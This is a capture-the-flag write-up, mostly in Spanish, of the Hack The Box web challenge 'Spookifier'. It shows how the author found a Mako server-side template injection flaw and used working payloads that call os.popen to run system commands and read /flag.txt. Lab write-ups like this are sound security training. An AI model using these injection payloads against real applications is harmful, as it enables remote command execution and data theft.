Spookifier
There's a new trend of an application that generates a spooky name for you. Users of that application later discovered that their real names were also magically changed, causing havoc in their life. Could you help bring down this application?
Web Analysis
El sitio web proporciona una funcionalidad sencilla, permite ingresar texto que luego es transformado a distintos estilos de fuentes.
1
/home/kali/Documents/htb/challenges/spookifier:-$ unzip Spookifier.zip
Descomprimo el archivo proporcionado por el reto para analizar su contenido. A simple vista, parece tratarse de la misma web mostrada en la interfaz, y está implementada en Python.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/home/kali/Documents/htb/challenges/spookifier:-$ tree web_spookifier
web_spookifier
├── build-docker.sh
├── challenge
│ ├── application
│ │ ├── blueprints
│ │ │ └── routes.py
│ │ ├── main.py
│ │ ├── static
│ │ │ ├── css
│ │ │ │ ├── index.css
│ │ │ │ └── nes.css
│ │ │ └── images
│ │ │ └── vamp.png
│ │ ├── templates
│ │ │ └── index.html
│ │ └── util.py
│ └── run.py
├── config
│ └── supervisord.conf
├── Dockerfile
└── flag.txt
Revisando el Dockerfile, confirmo que el archivo flag.txt
es copiado directamente al directorio raíz.
1
2
3
4
5
/home/kali/Documents/htb/challenges/spookifier:-$ cat web_spookifier/Dockerfile
...snip...
# Copy flag
COPY flag.txt /flag.txt
...snip...
El archivo main.py
sugiere que la aplicación utiliza Mako Templates como motor de plantillas.
1
2
3
4
/home/kali/Documents/htb/challenges/spookifier:-$ head -3 web_spookifier/challenge/application/main.py
from flask import Flask, jsonify
from application.blueprints.routes import web
from flask_mako import MakoTemplates
Teniendo en cuenta esto, realizo una prueba de Server-Side Template Injection específica para Mako. El resultado mostrado por la aplicación es 49, lo cual confirma que la presencia de la vulnerabilidad SSTI.
Vulnerability Exploitation
Consultando PayloadsAllTheThings, encuentro referencias útiles para construir una cadena capaz de ejecutar comandos arbitrarios utilizando Mako Templates. Mediante el uso de os.popen, logro explotar la vulnerabilidad SSTI y ejecutar comandos del sistema.
1
${self.module.cache.util.os.popen('id').read()}
La vulnerabilidad permite la lectura arbitraria de archivos y la ejecución de comandos. A partir de esto, accedo al contenido de la flag alojada en el directorio raíz.
1
${self.module.cache.util.os.popen('cat /flag.txt').read()}